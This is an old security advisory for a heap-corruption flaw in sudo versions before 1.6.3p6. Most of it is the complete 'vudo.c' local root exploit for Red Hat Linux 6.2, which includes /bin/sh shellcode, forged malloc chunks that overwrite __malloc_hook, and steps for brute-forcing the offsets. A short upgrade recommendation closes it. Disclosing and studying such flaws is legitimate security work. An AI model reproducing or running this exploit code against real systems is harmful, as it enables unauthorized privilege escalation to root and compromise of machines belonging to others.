Vulnerability
sudo
Affected
sudo prior tp 1.6.3p6
Description
Michel Kaempf found following. Sudo (superuser do) allows a
system administrator to give certain users (or groups of users)
the ability to run some (or all) commands as root or another user
while logging the commands and arguments.
On February 19, 2001, Sudo version 1.6.3p6 was released: "This
fixes a potential security problem. So far, the bug does not
appear to be exploitable." Despite the comments sent to various
security mailing lists after the announce of the new Sudo version,
the bug is not a buffer overflow and the bug does not damage the
stack.
But the bug is exploitable: even a single byte located somewhere
in the heap, erroneously overwritten by a NUL byte before a call
to syslog(3) and immediately restored after the syslog(3) call,
may actually lead to execution of code as root. A working exploit
for Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1 is attached at the
end of this advisory and a complete research paper on this issue
and on general heap corruption techniques will be released soon.
In order to successfully gain root privileges via the Vudo
exploit, a user does not necessarily need to be present in the
sudoers file, but has to know their user password. They need
additionally to provide three command line arguments:
- the address of the __malloc_hook function pointer, which varies
from one system to another but can be determined;
- the size of the tz buffer, which varies slightly from one system
to another and has to be brute forced;
- the size of the envp buffer, which varies slightly from one
system to another and has to be brute forced.
/*
* vudo.c versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1
* Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@synnergy.net>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include <limits.h>
#include <paths.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
typedef struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
} * mchunkptr;
#define SIZE_SZ sizeof(size_t)
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE sizeof(struct malloc_chunk)
/* shellcode */
#define sc \
/* jmp */ \
"\xeb\x0appssssffff" \
/* setuid */ \
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
/* setgid */ \
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
/* execve */ \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define MAX_UID_T_LEN 10
#define MAXSYSLOGLEN 960
#define IFCONF_BUF r2s( 8200 )
#define SUDOERS_FP r2s( 176 )
#define VASPRINTF r2s( 6300 )
#define VICTIM_SIZE r2s( 1500 )
#define SUDO "/usr/bin/sudo"
#define USER_CWD "/"
#define MESSAGE 19 /* "command not allowed" or "user NOT in sudoers" */
#define USER_ARGS ( VASPRINTF - VICTIM_SIZE - SIZE_SZ - 1 - (MAXSYSLOGLEN+1) )
#define PREV_SIZE 0x5858614d
#define SIZE r2s( 192 )
#define SPACESPACE 0x08072020
#define POST_PS1 ( r2s(16) + r2s(640) + r2s(400) )
#define BK ( SPACESPACE - POST_PS1 + SIZE_SZ - sizeof(sc) )
#define STACK ( 0xc0000000 - 4 )
#define PRE_SHELL "SHELL="
#define MAXPATHLEN 4095
#define SHELL ( MAXPATHLEN - 1 )
#define PRE_SUDO_PS1 "SUDO_PS1="
#define PRE_TZ "TZ="
#define LIBC "/lib/libc.so.6"
#define TZ_FIRST ( MINSIZE - SIZE_SZ - 1 )
#define TZ_STEP ( MALLOC_ALIGNMENT / sizeof(char) )
#define TZ_LAST ( 0x10000 - SIZE_SZ - 1 )
#define POST_IFCONF_BUF ( r2s(1600)+r2s(40)+r2s(16386)+r2s(3100)+r2s(6300) )
#define ENVP_FIRST ( ((POST_IFCONF_BUF - SIZE_SZ) / sizeof(char *)) - 1 )
#define ENVP_STEP ( MALLOC_ALIGNMENT / sizeof(char *) )
/* request2size() */
size_t
r2s( size_t request )
{
size_t size;
size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
size = MINSIZE;
} else {
size &= ~MALLOC_ALIGN_MASK;
}
return( size );
}
/* nul() */
int
nul( size_t size )
{
char * p = (char *)( &size );
if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
return( -1 );
}
return( 0 );
}
/* nul_or_space() */
int
nul_or_space( size_t size )
{
char * p = (char *)( &size );
if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
return( -1 );
}
if ( p[0] == ' ' || p[1] == ' ' || p[2] == ' ' || p[3] == ' ' ) {
return( -1 );
}
return( 0 );
}
typedef struct vudo_s {
/* command line */
size_t __malloc_hook;
size_t tz;
size_t envp;
size_t setenv;
size_t msg;
size_t buf;
size_t NewArgv;
/* execve */
char ** execve_argv;
char ** execve_envp;
} vudo_t;
/* vudo_setenv() */
size_t
vudo_setenv( uid_t uid )
{
struct passwd * pw;
size_t setenv;
char idstr[ MAX_UID_T_LEN + 1 ];
/* pw */
pw = getpwuid( uid );
if ( pw == NULL ) {
return( 0 );
}
/* SUDO_COMMAND */
setenv = r2s( 16 );
/* SUDO_USER */
setenv += r2s( strlen("SUDO_USER=") + strlen(pw->pw_name) + 1 );
setenv += r2s( 16 );
/* SUDO_UID */
sprintf( idstr, "%ld", (long)(pw->pw_uid) );
setenv += r2s( strlen("SUDO_UID=") + strlen(idstr) + 1 );
setenv += r2s( 16 );
/* SUDO_GID */
sprintf( idstr, "%ld", (long)(pw->pw_gid) );
setenv += r2s( strlen("SUDO_GID=") + strlen(idstr) + 1 );
setenv += r2s( 16 );
return( setenv );
}
/* vudo_msg() */
size_t
vudo_msg( vudo_t * p_v )
{
size_t msg;
msg = ( MAXSYSLOGLEN + 1 ) - strlen( "shell " ) + 3;
msg *= sizeof(char *);
msg += SIZE_SZ - IFCONF_BUF + p_v->setenv + SUDOERS_FP + VASPRINTF;
msg /= sizeof(char *) + 1;
return( msg );
}
/* vudo_buf() */
size_t
vudo_buf( vudo_t * p_v )
{
size_t buf;
buf = VASPRINTF - VICTIM_SIZE - p_v->msg;
return( buf );
}
/* vudo_NewArgv() */
size_t
vudo_NewArgv( vudo_t * p_v )
{
size_t NewArgv;
NewArgv = IFCONF_BUF - VICTIM_SIZE - p_v->setenv - SUDOERS_FP - p_v->buf;
return( NewArgv );
}
/* vudo_execve_argv() */
char **
vudo_execve_argv( vudo_t * p_v )
{
size_t pudding;
char ** execve_argv;
char * p;
char * user_tty;
size_t size;
char * user_runas;
int i;
char * user_args;
/* pudding */
pudding = ( (p_v->NewArgv - SIZE_SZ) / sizeof(char *) ) - 3;
/* execve_argv */
execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) );
if ( execve_argv == NULL ) {
return( NULL );
}
/* execve_argv[ 0 ] */
execve_argv[ 0 ] = SUDO;
/* execve_argv[ 1 ] */
execve_argv[ 1 ] = "-s";
/* execve_argv[ 2 ] */
execve_argv[ 2 ] = "-u";
/* user_tty */
if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) {
if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) - 1) == 0 ) {
p += sizeof(_PATH_DEV) - 1;
}
user_tty = p;
} else {
user_tty = "unknown";
}
/* user_cwd */
if ( chdir(USER_CWD) == -1 ) {
return( NULL );
}
/* user_runas */
size = p_v->msg;
size -= MESSAGE;
size -= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" );
size -= strlen( user_tty );
size -= strlen( USER_CWD );
user_runas = malloc( size + 1 );
if ( user_runas == NULL ) {
return( NULL );
}
memset( user_runas, 'M', size );
user_runas[ size ] = '\0';
/* execve_argv[ 3 ] */
execve_argv[ 3 ] = user_runas;
/* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) - 1 ] */
for ( i = 4; i < 4 + pudding; i++ ) {
execve_argv[ i ] = "";
}
/* user_args */
user_args = malloc( USER_ARGS + 1 );
if ( user_args == NULL ) {
return( NULL );
}
memset( user_args, 'S', USER_ARGS );
user_args[ USER_ARGS ] = '\0';
/* execve_argv[ 4 + pudding ] */
execve_argv[ 4 + pudding ] = user_args;
/* execve_argv[ (4 + pudding) + 1 ] */
execve_argv[ (4 + pudding) + 1 ] = NULL;
return( execve_argv );
}
/* vudo_execve_envp() */
char **
vudo_execve_envp( vudo_t * p_v )
{
size_t fd;
char * chunk;
size_t post_pudding;
int i;
size_t pudding;
size_t size;
char * post_chunk;
size_t p_chunk;
char * shell;
char * p;
char * sudo_ps1;
char * tz;
char ** execve_envp;
size_t stack;
/* fd */
fd = p_v->__malloc_hook - ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );
/* chunk */
chunk = malloc( MINSIZE + 1 );
if ( chunk == NULL ) {
return( NULL );
}
( (mchunkptr)chunk )->prev_size = PREV_SIZE;
( (mchunkptr)chunk )->size = SIZE;
( (mchunkptr)chunk )->fd = (mchunkptr)fd;
( (mchunkptr)chunk )->bk = (mchunkptr)BK;
chunk[ MINSIZE ] = '\0';
/* post_pudding */
post_pudding = 0;
for ( i = 0; i < MINSIZE + 1; i++ ) {
if ( chunk[i] == '\0' ) {
post_pudding += 1;
}
}
/* pudding */
pudding = p_v->envp - ( 3 + post_pudding + 2 );
/* post_chunk */
size = ( SIZE - 1 ) - 1;
while ( nul(STACK - sizeof(SUDO) - (size + 1) - (MINSIZE + 1)) ) {
size += 1;
}
post_chunk = malloc( size + 1 );
if ( post_chunk == NULL ) {
return( NULL );
}
memset( post_chunk, 'Y', size );
post_chunk[ size ] = '\0';
/* p_chunk */
p_chunk = STACK - sizeof(SUDO) - (strlen(post_chunk) + 1) - (MINSIZE + 1);
/* shell */
shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );
if ( shell == NULL ) {
return( NULL );
}
p = shell;
memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );
p += strlen( PRE_SHELL );
while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ-1)) ) {
*((size_t *)p) = p_chunk;
p += SIZE_SZ;
}
while ( p < shell + strlen(PRE_SHELL) + SHELL ) {
*(p++) = '2';
}
*p = '\0';
/* sudo_ps1 */
size = p_v->buf;
size -= POST_PS1 + VICTIM_SIZE;
size -= strlen( "PS1=" ) + 1 + SIZE_SZ;
sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 );
if ( sudo_ps1 == NULL ) {
return( NULL );
}
memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) );
memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 - sizeof(sc) );
strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 - sizeof(sc), sc );
/* tz */
tz = malloc( strlen(PRE_TZ) + p_v->tz + 1 );
if ( tz == NULL ) {
return( NULL );
}
memcpy( tz, PRE_TZ, strlen(PRE_TZ) );
memset( tz + strlen(PRE_TZ), '0', p_v->tz );
tz[ strlen(PRE_TZ) + p_v->tz ] = '\0';
/* execve_envp */
execve_envp = malloc( p_v->envp * sizeof(char *) );
if ( execve_envp == NULL ) {
return( NULL );
}
/* execve_envp[ p_v->envp - 1 ] */
execve_envp[ p_v->envp - 1 ] = NULL;
/* execve_envp[ 3+pudding ] .. execve_envp[ (3+pudding+post_pudding)-1 ] */
p = chunk;
for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) {
execve_envp[ i ] = p;
p += strlen( p ) + 1;
}
/* execve_envp[ 3 + pudding + post_pudding ] */
execve_envp[ 3 + pudding + post_pudding ] = post_chunk;
/* execve_envp[ 0 ] */
execve_envp[ 0 ] = shell;
/* execve_envp[ 1 ] */
execve_envp[ 1 ] = sudo_ps1;
/* execve_envp[ 2 ] */
execve_envp[ 2 ] = tz;
/* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) - 1 ] */
i = 3 + pudding;
stack = p_chunk;
while ( i-- > 3 ) {
size = 0;
while ( nul_or_space(stack - (size + 1)) ) {
size += 1;
}
if ( size == 0 ) {
execve_envp[ i ] = "";
} else {
execve_envp[ i ] = malloc( size + 1 );
if ( execve_envp[i] == NULL ) {
return( NULL );
}
memset( execve_envp[i], '1', size );
( execve_envp[ i ] )[ size ] = '\0';
}
stack -= size + 1;
}
return( execve_envp );
}
/* usage() */
void
usage( char * fn )
{
printf( "%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1\n", fn );
printf( "Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n" );
printf( "\n" );
printf( "* Usage: %s __malloc_hook tz envp\n", fn );
printf( "\n" );
printf( "* Example: %s 0x002501dc 62595 6866\n", fn );
printf( "\n" );
printf( "* __malloc_hook:\n" );
printf( " $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC );
printf( " $ objdump --syms %s | grep __malloc_hook\n", LIBC );
printf( " $ nm %s | grep __malloc_hook\n", LIBC );
printf( "\n" );
printf( "* tz:\n" );
printf( " - first: %u\n", TZ_FIRST );
printf( " - step: %u\n", TZ_STEP );
printf( " - last: %u\n", TZ_LAST );
printf( "\n" );
printf( "* envp:\n" );
printf( " - first: %u\n", ENVP_FIRST );
printf( " - step: %u\n", ENVP_STEP );
}
/* main() */
int
main( int argc, char * argv[] )
{
vudo_t vudo;
/* argc */
if ( argc != 4 ) {
usage( argv[0] );
return( -1 );
}
/* vudo.__malloc_hook */
vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );
if ( vudo.__malloc_hook == ULONG_MAX ) {
return( -1 );
}
/* vudo.tz */
vudo.tz = strtoul( argv[2], NULL, 0 );
if ( vudo.tz == ULONG_MAX ) {
return( -1 );
}
/* vudo.envp */
vudo.envp = strtoul( argv[3], NULL, 0 );
if ( vudo.envp == ULONG_MAX ) {
return( -1 );
}
/* vudo.setenv */
vudo.setenv = vudo_setenv( getuid() );
if ( vudo.setenv == 0 ) {
return( -1 );
}
/* vudo.msg */
vudo.msg = vudo_msg( &vudo );
/* vudo.buf */
vudo.buf = vudo_buf( &vudo );
/* vudo.NewArgv */
vudo.NewArgv = vudo_NewArgv( &vudo );
/* vudo.execve_argv */
vudo.execve_argv = vudo_execve_argv( &vudo );
if ( vudo.execve_argv == NULL ) {
return( -1 );
}
/* vudo.execve_envp */
vudo.execve_envp = vudo_execve_envp( &vudo );
if ( vudo.execve_envp == NULL ) {
return( -1 );
}
/* execve */
execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp );
return( -1 );
}
Solution
Sudo was not part of the main Red Hat Linux 6.2 distribution, but
was part of powertools. 1.6.3p6 was released as as a security
errata earlier this year. By now, all OS vendors have packages
upgraded so its safe to say that You should upgrade to latest
patch level.
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